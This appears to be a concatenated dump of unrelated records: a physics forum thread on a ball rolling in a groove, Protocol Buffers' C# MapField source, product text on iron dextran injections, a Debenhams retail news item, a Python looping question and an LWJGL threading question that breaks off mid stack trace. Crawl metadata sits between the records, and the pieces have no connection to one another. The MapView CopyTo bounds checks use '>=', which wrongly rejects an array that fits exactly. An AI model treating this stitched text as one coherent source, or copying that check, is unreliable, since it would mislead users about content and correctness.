\\omega = \\frac{v}{a} \\Rightarrow \\frac{{d\\omega }}{{dt}} = \\frac{1}{a}\\frac{{dv}}{{dt}}$$ That^ is actually the result I used in the first derivation - but I'm not sure if it applies in the second scenario because the ball is rotating about a different axis :\/ Yet if this isn't correct, how do I find a suitable expression for omega?\n\nAnyway, I was thinking of calculating the moment (about the instantaneous axis AB) provided by each friction force (acting on the two stationary points) as $$Fa\\cos (\\frac{\\phi }{2})$$ using $$a\\cos (\\frac{\\phi }{2})$$ as the perpendicular distance from each frictional force to the instantaneous rotation axis.\n\nSo I end up with... $$2Fa\\cos (\\frac{\\phi }{2}) = ma(\\frac{2}{5} + {\\sin ^2}(\\frac{1}{2}\\phi ))\\frac{{dv}}{{dt}}$$ which I would like to plug into my first equation (describing the linear motion) but the pesky cosine term is there!\n\n(Oh and yes apologies about the pdf and the lack of relevant equations - I shall indeed try to redeem myself in my next post :D )\n\nLast edited: Mar 23, 2014\n4. Mar 23, 2014\n\n### BenjyPhysics\n\nOops I forgot to quote you\n\n5. Mar 23, 2014\n\n### BvU\n\nIn the second scenario it will have to rotate faster to get the same speed. Check how far it proceeds in one revolution. The factor is the same for distance, speed and acceleration.\n\n6. Mar 23, 2014\n\n### BenjyPhysics\n\nI'm not sure how to 'check how far it proceeds in one revolution' Could you please tell me what the angular velocity in the second case should be - so that I can understand exactly how you worked it out?\n\n7. Mar 23, 2014\n\n### BvU\n\nIn the second diagram, you have correctly derived that the distance of AB to the center of the ball is $r\\sin\\phi\/2$. Can you imagine the trajectory of the contact point on the ball when it makes one revolution? The righthand picture is an \"end view\"; consider the \"side view\". Given that there is no slip at the contact point, the length of the trajectory on the ball must be the same as the distance travelled in the groove...\n\n8. Mar 24, 2014\n\n### BenjyPhysics\n\nI'm not even sure I can imagine the ball rotating about the instantaneous axis AB, and I have no idea how to visualize the trajectory of either of the contact points of the ball :( Obviously it will be a circle but I'm not sure how to figure out the radius of said circle\n\n9. Mar 24, 2014\n\n### BvU\n\nWell, the separation between the contact points is constant, right? If you cut the ball vertically through the contact points (lines CA and CB), you slice off two domes with the same radius (you have it already), and you are left with two flat circular areas on the ball, whose circumference is the distance that the ball travels during one revolution !\n\nExtreme case: if A and B are diametrically opposite on the ball, no progress at all for one revolution!\n\nStill not clear? find a ball and two wooden beams ! (the V shape isn't necessary, only the distance between the beams (hence the contact points))\n\nFile size:\n13.1 KB\nViews:\n318","date":"2018-07-22 13:01:22","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 1, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.6404439210891724, \"perplexity\": 557.4566440829024}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593223.90\/warc\/CC-MAIN-20180722120017-20180722140017-00333.warc.gz\"}"} | null | null |
#region Copyright notice and license
// Protocol Buffers - Google's data interchange format
// Copyright 2015 Google Inc. All rights reserved.
// https://developers.google.com/protocol-buffers/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#endregion
using Google.Protobuf.Reflection;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Google.Protobuf.Compatibility;
namespace Google.Protobuf.Collections
{
/// <summary>
/// Representation of a map field in a Protocol Buffer message.
/// </summary>
/// <typeparam name="TKey">Key type in the map. Must be a type supported by Protocol Buffer map keys.</typeparam>
/// <typeparam name="TValue">Value type in the map. Must be a type supported by Protocol Buffers.</typeparam>
/// <remarks>
/// <para>
/// This implementation preserves insertion order for simplicity of testing
/// code using maps fields. Overwriting an existing entry does not change the
/// position of that entry within the map. Equality is not order-sensitive.
/// For string keys, the equality comparison is provided by <see cref="StringComparer.Ordinal" />.
/// </para>
/// <para>
/// This implementation does not generally prohibit the use of key/value types which are not
/// supported by Protocol Buffers (e.g. using a key type of <code>byte</code>) but nor does it guarantee
/// that all operations will work in such cases.
/// </para>
/// </remarks>
public sealed class MapField<TKey, TValue> : IDeepCloneable<MapField<TKey, TValue>>, IDictionary<TKey, TValue>, IEquatable<MapField<TKey, TValue>>, IDictionary
{
// TODO: Don't create the map/list until we have an entry. (Assume many maps will be empty.)
private readonly bool allowNullValues;
private readonly Dictionary<TKey, LinkedListNode<KeyValuePair<TKey, TValue>>> map =
new Dictionary<TKey, LinkedListNode<KeyValuePair<TKey, TValue>>>();
private readonly LinkedList<KeyValuePair<TKey, TValue>> list = new LinkedList<KeyValuePair<TKey, TValue>>();
/// <summary>
/// Constructs a new map field, defaulting the value nullability to only allow null values for message types
/// and non-nullable value types.
/// </summary>
public MapField() : this(typeof(IMessage).IsAssignableFrom(typeof(TValue)) || Nullable.GetUnderlyingType(typeof(TValue)) != null)
{
}
/// <summary>
/// Constructs a new map field, overriding the choice of whether null values are permitted in the map.
/// This is used by wrapper types, where maps with string and bytes wrappers as the value types
/// support null values.
/// </summary>
/// <param name="allowNullValues">Whether null values are permitted in the map or not.</param>
public MapField(bool allowNullValues)
{
if (allowNullValues && typeof(TValue).IsValueType() && Nullable.GetUnderlyingType(typeof(TValue)) == null)
{
throw new ArgumentException("allowNullValues", "Non-nullable value types do not support null values");
}
this.allowNullValues = allowNullValues;
}
/// <summary>
/// Creates a deep clone of this object.
/// </summary>
/// <returns>
/// A deep clone of this object.
/// </returns>
public MapField<TKey, TValue> Clone()
{
var clone = new MapField<TKey, TValue>(allowNullValues);
// Keys are never cloneable. Values might be.
if (typeof(IDeepCloneable<TValue>).IsAssignableFrom(typeof(TValue)))
{
foreach (var pair in list)
{
clone.Add(pair.Key, pair.Value == null ? pair.Value : ((IDeepCloneable<TValue>)pair.Value).Clone());
}
}
else
{
// Nothing is cloneable, so we don't need to worry.
clone.Add(this);
}
return clone;
}
/// <summary>
/// Adds the specified key/value pair to the map.
/// </summary>
/// <remarks>
/// This operation fails if the key already exists in the map. To replace an existing entry, use the indexer.
/// </remarks>
/// <param name="key">The key to add</param>
/// <param name="value">The value to add.</param>
/// <exception cref="System.ArgumentException">The given key already exists in map.</exception>
public void Add(TKey key, TValue value)
{
// Validation of arguments happens in ContainsKey and the indexer
if (ContainsKey(key))
{
throw new ArgumentException("Key already exists in map", "key");
}
this[key] = value;
}
/// <summary>
/// Determines whether the specified key is present in the map.
/// </summary>
/// <param name="key">The key to check.</param>
/// <returns><c>true</c> if the map contains the given key; <c>false</c> otherwise.</returns>
public bool ContainsKey(TKey key)
{
Preconditions.CheckNotNullUnconstrained(key, "key");
return map.ContainsKey(key);
}
private bool ContainsValue(TValue value)
{
var comparer = EqualityComparer<TValue>.Default;
return list.Any(pair => comparer.Equals(pair.Value, value));
}
/// <summary>
/// Removes the entry identified by the given key from the map.
/// </summary>
/// <param name="key">The key indicating the entry to remove from the map.</param>
/// <returns><c>true</c> if the map contained the given key before the entry was removed; <c>false</c> otherwise.</returns>
public bool Remove(TKey key)
{
Preconditions.CheckNotNullUnconstrained(key, "key");
LinkedListNode<KeyValuePair<TKey, TValue>> node;
if (map.TryGetValue(key, out node))
{
map.Remove(key);
node.List.Remove(node);
return true;
}
else
{
return false;
}
}
/// <summary>
/// Gets the value associated with the specified key.
/// </summary>
/// <param name="key">The key whose value to get.</param>
/// <param name="value">When this method returns, the value associated with the specified key, if the key is found;
/// otherwise, the default value for the type of the <paramref name="value"/> parameter.
/// This parameter is passed uninitialized.</param>
/// <returns><c>true</c> if the map contains an element with the specified key; otherwise, <c>false</c>.</returns>
public bool TryGetValue(TKey key, out TValue value)
{
LinkedListNode<KeyValuePair<TKey, TValue>> node;
if (map.TryGetValue(key, out node))
{
value = node.Value.Value;
return true;
}
else
{
value = default(TValue);
return false;
}
}
/// <summary>
/// Gets or sets the value associated with the specified key.
/// </summary>
/// <param name="key">The key of the value to get or set.</param>
/// <exception cref="KeyNotFoundException">The property is retrieved and key does not exist in the collection.</exception>
/// <returns>The value associated with the specified key. If the specified key is not found,
/// a get operation throws a <see cref="KeyNotFoundException"/>, and a set operation creates a new element with the specified key.</returns>
public TValue this[TKey key]
{
get
{
Preconditions.CheckNotNullUnconstrained(key, "key");
TValue value;
if (TryGetValue(key, out value))
{
return value;
}
throw new KeyNotFoundException();
}
set
{
Preconditions.CheckNotNullUnconstrained(key, "key");
// value == null check here is redundant, but avoids boxing.
if (value == null && !allowNullValues)
{
Preconditions.CheckNotNullUnconstrained(value, "value");
}
LinkedListNode<KeyValuePair<TKey, TValue>> node;
var pair = new KeyValuePair<TKey, TValue>(key, value);
if (map.TryGetValue(key, out node))
{
node.Value = pair;
}
else
{
node = list.AddLast(pair);
map[key] = node;
}
}
}
/// <summary>
/// Gets a collection containing the keys in the map.
/// </summary>
public ICollection<TKey> Keys { get { return new MapView<TKey>(this, pair => pair.Key, ContainsKey); } }
/// <summary>
/// Gets a collection containing the values in the map.
/// </summary>
public ICollection<TValue> Values { get { return new MapView<TValue>(this, pair => pair.Value, ContainsValue); } }
/// <summary>
/// Adds the specified entries to the map.
/// </summary>
/// <param name="entries">The entries to add to the map.</param>
public void Add(IDictionary<TKey, TValue> entries)
{
Preconditions.CheckNotNull(entries, "entries");
foreach (var pair in entries)
{
Add(pair.Key, pair.Value);
}
}
/// <summary>
/// Returns an enumerator that iterates through the collection.
/// </summary>
/// <returns>
/// An enumerator that can be used to iterate through the collection.
/// </returns>
public IEnumerator<KeyValuePair<TKey, TValue>> GetEnumerator()
{
return list.GetEnumerator();
}
/// <summary>
/// Returns an enumerator that iterates through a collection.
/// </summary>
/// <returns>
/// An <see cref="T:System.Collections.IEnumerator" /> object that can be used to iterate through the collection.
/// </returns>
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
/// <summary>
/// Adds the specified item to the map.
/// </summary>
/// <param name="item">The item to add to the map.</param>
void ICollection<KeyValuePair<TKey, TValue>>.Add(KeyValuePair<TKey, TValue> item)
{
Add(item.Key, item.Value);
}
/// <summary>
/// Removes all items from the map.
/// </summary>
public void Clear()
{
list.Clear();
map.Clear();
}
/// <summary>
/// Determines whether map contains an entry equivalent to the given key/value pair.
/// </summary>
/// <param name="item">The key/value pair to find.</param>
/// <returns></returns>
bool ICollection<KeyValuePair<TKey, TValue>>.Contains(KeyValuePair<TKey, TValue> item)
{
TValue value;
return TryGetValue(item.Key, out value)
&& EqualityComparer<TValue>.Default.Equals(item.Value, value);
}
/// <summary>
/// Copies the key/value pairs in this map to an array.
/// </summary>
/// <param name="array">The array to copy the entries into.</param>
/// <param name="arrayIndex">The index of the array at which to start copying values.</param>
void ICollection<KeyValuePair<TKey, TValue>>.CopyTo(KeyValuePair<TKey, TValue>[] array, int arrayIndex)
{
list.CopyTo(array, arrayIndex);
}
/// <summary>
/// Removes the specified key/value pair from the map.
/// </summary>
/// <remarks>Both the key and the value must be found for the entry to be removed.</remarks>
/// <param name="item">The key/value pair to remove.</param>
/// <returns><c>true</c> if the key/value pair was found and removed; <c>false</c> otherwise.</returns>
bool ICollection<KeyValuePair<TKey, TValue>>.Remove(KeyValuePair<TKey, TValue> item)
{
if (item.Key == null)
{
throw new ArgumentException("Key is null", "item");
}
LinkedListNode<KeyValuePair<TKey, TValue>> node;
if (map.TryGetValue(item.Key, out node) &&
EqualityComparer<TValue>.Default.Equals(item.Value, node.Value.Value))
{
map.Remove(item.Key);
node.List.Remove(node);
return true;
}
else
{
return false;
}
}
/// <summary>
/// Returns whether or not this map allows values to be null.
/// </summary>
public bool AllowsNullValues { get { return allowNullValues; } }
/// <summary>
/// Gets the number of elements contained in the map.
/// </summary>
public int Count { get { return list.Count; } }
/// <summary>
/// Gets a value indicating whether the map is read-only.
/// </summary>
public bool IsReadOnly { get { return false; } }
/// <summary>
/// Determines whether the specified <see cref="System.Object" />, is equal to this instance.
/// </summary>
/// <param name="other">The <see cref="System.Object" /> to compare with this instance.</param>
/// <returns>
/// <c>true</c> if the specified <see cref="System.Object" /> is equal to this instance; otherwise, <c>false</c>.
/// </returns>
public override bool Equals(object other)
{
return Equals(other as MapField<TKey, TValue>);
}
/// <summary>
/// Returns a hash code for this instance.
/// </summary>
/// <returns>
/// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.
/// </returns>
public override int GetHashCode()
{
var valueComparer = EqualityComparer<TValue>.Default;
int hash = 0;
foreach (var pair in list)
{
hash ^= pair.Key.GetHashCode() * 31 + valueComparer.GetHashCode(pair.Value);
}
return hash;
}
/// <summary>
/// Compares this map with another for equality.
/// </summary>
/// <remarks>
/// The order of the key/value pairs in the maps is not deemed significant in this comparison.
/// </remarks>
/// <param name="other">The map to compare this with.</param>
/// <returns><c>true</c> if <paramref name="other"/> refers to an equal map; <c>false</c> otherwise.</returns>
public bool Equals(MapField<TKey, TValue> other)
{
if (other == null)
{
return false;
}
if (other == this)
{
return true;
}
if (other.Count != this.Count)
{
return false;
}
var valueComparer = EqualityComparer<TValue>.Default;
foreach (var pair in this)
{
TValue value;
if (!other.TryGetValue(pair.Key, out value))
{
return false;
}
if (!valueComparer.Equals(value, pair.Value))
{
return false;
}
}
return true;
}
/// <summary>
/// Adds entries to the map from the given stream.
/// </summary>
/// <remarks>
/// It is assumed that the stream is initially positioned after the tag specified by the codec.
/// This method will continue reading entries from the stream until the end is reached, or
/// a different tag is encountered.
/// </remarks>
/// <param name="input">Stream to read from</param>
/// <param name="codec">Codec describing how the key/value pairs are encoded</param>
public void AddEntriesFrom(CodedInputStream input, Codec codec)
{
var adapter = new Codec.MessageAdapter(codec);
do
{
adapter.Reset();
input.ReadMessage(adapter);
this[adapter.Key] = adapter.Value;
} while (input.MaybeConsumeTag(codec.MapTag));
}
/// <summary>
/// Writes the contents of this map to the given coded output stream, using the specified codec
/// to encode each entry.
/// </summary>
/// <param name="output">The output stream to write to.</param>
/// <param name="codec">The codec to use for each entry.</param>
public void WriteTo(CodedOutputStream output, Codec codec)
{
var message = new Codec.MessageAdapter(codec);
foreach (var entry in list)
{
message.Key = entry.Key;
message.Value = entry.Value;
output.WriteTag(codec.MapTag);
output.WriteMessage(message);
}
}
/// <summary>
/// Calculates the size of this map based on the given entry codec.
/// </summary>
/// <param name="codec">The codec to use to encode each entry.</param>
/// <returns></returns>
public int CalculateSize(Codec codec)
{
if (Count == 0)
{
return 0;
}
var message = new Codec.MessageAdapter(codec);
int size = 0;
foreach (var entry in list)
{
message.Key = entry.Key;
message.Value = entry.Value;
size += CodedOutputStream.ComputeRawVarint32Size(codec.MapTag);
size += CodedOutputStream.ComputeMessageSize(message);
}
return size;
}
/// <summary>
/// Returns a string representation of this repeated field, in the same
/// way as it would be represented by the default JSON formatter.
/// </summary>
public override string ToString()
{
var builder = new StringBuilder();
JsonFormatter.Default.WriteDictionary(builder, this);
return builder.ToString();
}
#region IDictionary explicit interface implementation
void IDictionary.Add(object key, object value)
{
Add((TKey)key, (TValue)value);
}
bool IDictionary.Contains(object key)
{
if (!(key is TKey))
{
return false;
}
return ContainsKey((TKey)key);
}
IDictionaryEnumerator IDictionary.GetEnumerator()
{
return new DictionaryEnumerator(GetEnumerator());
}
void IDictionary.Remove(object key)
{
Preconditions.CheckNotNull(key, "key");
if (!(key is TKey))
{
return;
}
Remove((TKey)key);
}
void ICollection.CopyTo(Array array, int index)
{
// This is ugly and slow as heck, but with any luck it will never be used anyway.
ICollection temp = this.Select(pair => new DictionaryEntry(pair.Key, pair.Value)).ToList();
temp.CopyTo(array, index);
}
bool IDictionary.IsFixedSize { get { return false; } }
ICollection IDictionary.Keys { get { return (ICollection)Keys; } }
ICollection IDictionary.Values { get { return (ICollection)Values; } }
bool ICollection.IsSynchronized { get { return false; } }
object ICollection.SyncRoot { get { return this; } }
object IDictionary.this[object key]
{
get
{
Preconditions.CheckNotNull(key, "key");
if (!(key is TKey))
{
return null;
}
TValue value;
TryGetValue((TKey)key, out value);
return value;
}
set
{
this[(TKey)key] = (TValue)value;
}
}
#endregion
private class DictionaryEnumerator : IDictionaryEnumerator
{
private readonly IEnumerator<KeyValuePair<TKey, TValue>> enumerator;
internal DictionaryEnumerator(IEnumerator<KeyValuePair<TKey, TValue>> enumerator)
{
this.enumerator = enumerator;
}
public bool MoveNext()
{
return enumerator.MoveNext();
}
public void Reset()
{
enumerator.Reset();
}
public object Current { get { return Entry; } }
public DictionaryEntry Entry { get { return new DictionaryEntry(Key, Value); } }
public object Key { get { return enumerator.Current.Key; } }
public object Value { get { return enumerator.Current.Value; } }
}
/// <summary>
/// A codec for a specific map field. This contains all the information required to encode and
/// decode the nested messages.
/// </summary>
public sealed class Codec
{
private readonly FieldCodec<TKey> keyCodec;
private readonly FieldCodec<TValue> valueCodec;
private readonly uint mapTag;
/// <summary>
/// Creates a new entry codec based on a separate key codec and value codec,
/// and the tag to use for each map entry.
/// </summary>
/// <param name="keyCodec">The key codec.</param>
/// <param name="valueCodec">The value codec.</param>
/// <param name="mapTag">The map tag to use to introduce each map entry.</param>
public Codec(FieldCodec<TKey> keyCodec, FieldCodec<TValue> valueCodec, uint mapTag)
{
this.keyCodec = keyCodec;
this.valueCodec = valueCodec;
this.mapTag = mapTag;
}
/// <summary>
/// The tag used in the enclosing message to indicate map entries.
/// </summary>
internal uint MapTag { get { return mapTag; } }
/// <summary>
/// A mutable message class, used for parsing and serializing. This
/// delegates the work to a codec, but implements the <see cref="IMessage"/> interface
/// for interop with <see cref="CodedInputStream"/> and <see cref="CodedOutputStream"/>.
/// This is nested inside Codec as it's tightly coupled to the associated codec,
/// and it's simpler if it has direct access to all its fields.
/// </summary>
internal class MessageAdapter : IMessage
{
private readonly Codec codec;
internal TKey Key { get; set; }
internal TValue Value { get; set; }
internal MessageAdapter(Codec codec)
{
this.codec = codec;
}
internal void Reset()
{
Key = codec.keyCodec.DefaultValue;
Value = codec.valueCodec.DefaultValue;
}
public void MergeFrom(CodedInputStream input)
{
uint tag;
while ((tag = input.ReadTag()) != 0)
{
if (tag == codec.keyCodec.Tag)
{
Key = codec.keyCodec.Read(input);
}
else if (tag == codec.valueCodec.Tag)
{
Value = codec.valueCodec.Read(input);
}
else
{
input.SkipLastField();
}
}
}
public void WriteTo(CodedOutputStream output)
{
codec.keyCodec.WriteTagAndValue(output, Key);
codec.valueCodec.WriteTagAndValue(output, Value);
}
public int CalculateSize()
{
return codec.keyCodec.CalculateSizeWithTag(Key) + codec.valueCodec.CalculateSizeWithTag(Value);
}
MessageDescriptor IMessage.Descriptor { get { return null; } }
}
}
private class MapView<T> : ICollection<T>, ICollection
{
private readonly MapField<TKey, TValue> parent;
private readonly Func<KeyValuePair<TKey, TValue>, T> projection;
private readonly Func<T, bool> containsCheck;
internal MapView(
MapField<TKey, TValue> parent,
Func<KeyValuePair<TKey, TValue>, T> projection,
Func<T, bool> containsCheck)
{
this.parent = parent;
this.projection = projection;
this.containsCheck = containsCheck;
}
public int Count { get { return parent.Count; } }
public bool IsReadOnly { get { return true; } }
public bool IsSynchronized { get { return false; } }
public object SyncRoot { get { return parent; } }
public void Add(T item)
{
throw new NotSupportedException();
}
public void Clear()
{
throw new NotSupportedException();
}
public bool Contains(T item)
{
return containsCheck(item);
}
public void CopyTo(T[] array, int arrayIndex)
{
if (arrayIndex < 0)
{
throw new ArgumentOutOfRangeException("arrayIndex");
}
if (arrayIndex + Count >= array.Length)
{
throw new ArgumentException("Not enough space in the array", "array");
}
foreach (var item in this)
{
array[arrayIndex++] = item;
}
}
public IEnumerator<T> GetEnumerator()
{
return parent.list.Select(projection).GetEnumerator();
}
public bool Remove(T item)
{
throw new NotSupportedException();
}
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
public void CopyTo(Array array, int index)
{
if (index < 0)
{
throw new ArgumentOutOfRangeException("index");
}
if (index + Count >= array.Length)
{
throw new ArgumentException("Not enough space in the array", "array");
}
foreach (var item in this)
{
array.SetValue(item, index++);
}
}
}
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 2,388 |
Click to show more... For treatment of patients with documented iron deficiency in whom oral administration is unsatisfactory or impossible. Also used to replenish body iron stores in Non-Dialysis Dependent-Chronic Kidney Disease (NDD-CKD) patients receiving or not receiving erythropoietin and in Hemodialysis Dependent (HDD-CKD) and Peritoneal Dialysis Dependent (PDD-CKD) - Chronic Kidney Disease patients receiving an erythropoietin.
Click to show more... Iron dextran is a dark brown, slightly viscous sterile liquid complex of ferric hydroxide and dextran for intravenous or intramuscular use. It is for treatment of patients with documented iron deficiency in whom oral administration is unsatisfactory or impossible. Iron is essential to the formation of hemoglobin and to the function and formation of other heme and nonheme compounds. Untreated depletion of iron stores leads to iron-deficient erythropoiesis and, in turn, to iron deficiency anemia.
Click to show more... Iron dextran is a dark brown, slightly viscous liquid complex of ferric hydroxide and dextran for intravenous or intramuscular use. Iron Dextran is used for the treatment of patients with documented iron deficiency in which oral administration is unsatisfactory or impossible.
Click to show more... After iron dextran is injected, the circulating iron dextran is removed from the plasma by cells of the reticuloendothelial system, which split the complex into its components of iron and dextran. The iron is immediately bound to the available protein moieties to form hemosiderin or ferritin, the physiological forms of iron, or to a lesser extent to transferrin. This iron which is subject to physiological control replenishes hemoglobin and depleted iron stores. | {
"redpajama_set_name": "RedPajamaC4"
} | 3,105 |
Q: Start the function again in Python when code ends i create little code
def Basket(): #the start of the code
items1=[]
items1=input("type items\n")
options=int(input("choose options\n"))
if options==1:
print("items on basket are:\n", items1)
elif options==2:
print(items1.count(',')+1) #the end
Basket()
i want to use the program again and again with out to close it
so i need that the program alwase go to the start of the code after the end
help ?
A: Simply :
def Basket(): #the start of the code
while True:
items1=[]
items1=input("type items\n")
options=int(input("choose options\n"))
if options==1:
print("items on basket are:\n", items1)
elif options==2:
print(items1.count(',')+1) #the end
Basket()
OR (as @zvone commented)
def Basket(): #the start of the code
items1=[]
items1=input("type items\n")
options=int(input("choose options\n"))
if options==1:
print("items on basket are:\n", items1)
elif options==2:
print(items1.count(',')+1) #the end
while True: Basket()
OR (Elegantly)
def Basket(): #the start of the code
while input("add an item ? (y:Yes or n:No) \n") == "y":
items1=[]
items1=input("type items\n")
options=int(input("choose options\n"))
if options==1:
print("items on basket are:\n", items1)
elif options==2:
print(items1.count(',')+1) #the end
Basket()
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 2,310 |
Debenhams aims to own affordable designer space in Australia
Sandra Halliday / September 8, 2016
Debenhams opens in Australia in exactly one year's time and it expects to make a major impact. The retailer is debuting in Melbourne in a deal with Pepkor and expects to take sales of around A$20m from the dominant players David Jones and Myer.
How will it do that? By shaking up the affordable designer label space. Now that's big business in Australia with private label collaborations by the existing big players being a key part of their turnover. And with Target having quit that particular product area, then there's a big opportunity.
Debenhams has relied heavily on its Designers at Debenhams labels such as Jasper Conran, Ben de Lisi, John Rocha, Julien Macdonald, Betty Jackson and Matthew Williamson for many years. Its entry into the market won't only shake up rival department stores though as speciality stores could see it impacting their turnover.
The store is opening in the St Collins Lane precinct in a location that gets foot traffic of around 17,000 people a day. But it'll be less than 4,000 sq m so half the size of Debenhams stores on average and much smaller than some Myer and David Jones flagships. That means those designer labels are likely to be cherry-picked and make up a larger percentage of the mix than in the chain's home market, with other products also being Debenhams exclusives. This makes sense given that Myer and David Jones pretty well have the general department store market sewn up between them in Australia.
Debenhams currently has 243 store sin 28b countries and annual sales of around £3bn.
September 8, 2016 in Retail. Tags: Australia, David Jones, Debenhams, Designers at debenhams, Myer, Pepkor
Debenhams in deep dive down under
Christmas 2015: Debenhams says "na na na na na na" to doom-mongers
Debenhams: Is there a sting in omnichannel's tail?
← NYFW: Instantly shoppable Tom Ford collection relives golden age
Hanjin collapse: Will you get must-haves this autumn? → | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 1,512 |
Q: LWJGL window on main thread I have been doing basic java for a while now, and I recently tried to start with LWJGL (Light Weight Java Game Library) on my mac. I installed it correctly for eclipse mars and am building a basic outline for a program by following some online tutorials.
package main;
import static org.lwjgl.glfw.GLFW.GLFW_RESIZABLE;
import static org.lwjgl.glfw.GLFW.glfwCreateWindow;
import static org.lwjgl.glfw.GLFW.glfwGetPrimaryMonitor;
import static org.lwjgl.glfw.GLFW.glfwGetVideoMode;
import static org.lwjgl.glfw.GLFW.glfwInit;
import static org.lwjgl.glfw.GLFW.glfwMakeContextCurrent;
import static org.lwjgl.glfw.GLFW.glfwPollEvents;
import static org.lwjgl.glfw.GLFW.glfwSetWindowPos;
import static org.lwjgl.glfw.GLFW.glfwShowWindow;
import static org.lwjgl.glfw.GLFW.glfwSwapBuffers;
import static org.lwjgl.glfw.GLFW.glfwWindowHint;
import static org.lwjgl.glfw.GLFW.glfwWindowShouldClose;
import static org.lwjgl.opengl.GL11.GL_TRUE;
import static org.lwjgl.system.MemoryUtil.NULL;
import java.nio.ByteBuffer;
import org.lwjgl.glfw.GLFWVidMode;
public class Main implements Runnable{
private Thread thread;
public boolean running = true;
private long window;
private int width = 1200, height = 800;
public static void main(String args[]){
Main game = new Main();
game.start();
}
public void start(){
running = true;
thread = new Thread(this, "EndlessRunner");
thread.start();
}
public void init(){
// Initializes our window creator library - GLFW
// This basically means, if this glfwInit() doesn't run properlly
// print an error to the console
if(glfwInit() != GL_TRUE){
// Throw an error.
System.err.println("GLFW initialization failed!");
}
// Allows our window to be resizable
glfwWindowHint(GLFW_RESIZABLE, GL_TRUE);
// Creates our window. You'll need to declare private long window at the
// top of the class though.
// We pass the width and height of the game we want as well as the title for
// the window. The last 2 NULL parameters are for more advanced uses and you
// shouldn't worry about them right now.
window = glfwCreateWindow(width, height, "Endless Runner", NULL, NULL);
// This code performs the appropriate checks to ensure that the
// window was successfully created.
// If not then it prints an error to the console
if(window == NULL){
// Throw an Error
System.err.println("Could not create our Window!");
}
// creates a bytebuffer object 'vidmode' which then queries
// to see what the primary monitor is.
GLFWVidMode vidmode = glfwGetVideoMode(glfwGetPrimaryMonitor());
// Sets the initial position of our game window.
glfwSetWindowPos(window, 100, 100);
// Sets the context of GLFW, this is vital for our program to work.
glfwMakeContextCurrent(window);
// finally shows our created window in all it's glory.
glfwShowWindow(window);
}
public void update(){
// Polls for any window events such as the window closing etc.
glfwPollEvents();
}
public void render(){
// Swaps out our buffers
glfwSwapBuffers(window);
}
@Override
public void run() {
// All our initialization code
init();
// Our main game loop
while(running){
update();
render();
// Checks to see if either the escape button or the
// red cross at the top were pressed.
// if so sets our boolean to false and closes the
// thread.
if(glfwWindowShouldClose(window) == GL_TRUE){
running = false;
}
}
}
}
This is word for word the code from most tutorials and it doesn't seem to work for me. It tells me that I am doing something wrong with the threads and I am very confused. I was only able to find this at one other place and all it said was move the window to the main thread, sorry I am kinda new to threading so I don't really know how to do that either. I get an error report looking like this:
2016-01-18 12:09:36.761 java[21882:475722] *** Assertion failure in +[NSUndoManager _endTopLevelGroupings], /SourceCache/Foundation/Foundation-1153.20/Misc.subproj/NSUndoManager.m:340
2016-01-18 12:09:36.762 java[21882:475722] +[NSUndoManager(NSInternal) _endTopLevelGroupings] is only safe to invoke on the main thread.
2016-01-18 12:09:36.762 java[21882:475722] (
0 CoreFoundation 0x00007fff9160903c __exceptionPreprocess + 172
1 libobjc.A.dylib 0x00007fff91b8a76e objc_exception_throw + 43
2 CoreFoundation 0x00007fff91608e1a +[NSException raise:format:arguments:] + 106
3 Foundation 0x00007fff99e518cb -[NSAssertionHandler handleFailureInMethod:object:file:lineNumber:description:] + 195
4 Foundation 0x00007fff99dd357f +[NSUndoManager(NSPrivate) _endTopLevelGroupings] + 156
